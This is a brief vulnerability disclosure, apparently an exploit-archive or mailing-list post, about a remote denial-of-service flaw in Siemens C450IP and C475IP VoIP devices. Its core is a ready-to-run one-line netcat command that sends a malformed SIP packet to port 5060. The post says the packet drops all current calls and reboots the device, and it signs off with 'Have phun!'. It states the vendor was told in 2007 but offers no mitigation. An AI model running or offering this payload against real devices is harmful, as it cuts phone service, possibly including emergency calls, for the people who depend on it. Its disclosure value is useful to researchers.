The Siemens C450IP and C475IP devices suffer from a remote denial of service vulnerability.
395d974c6c5456bdd434693e5b8fdee1a742366b965c3dbbe66621486137b08b
Hi,
echo -e "X sip:s X\nFrom:<sip:@x>\nTo:<sip:@x>\n" | nc -q0 -u <target> 5060
Will disconnect all current VOIP and PSTN calls and reboot
the C450IP/C475IP devices.
Tested with current firmwares.
Vendor (Siemens) was contacted 11/2007, no fix supplied yet.
Have phun!
sky & Any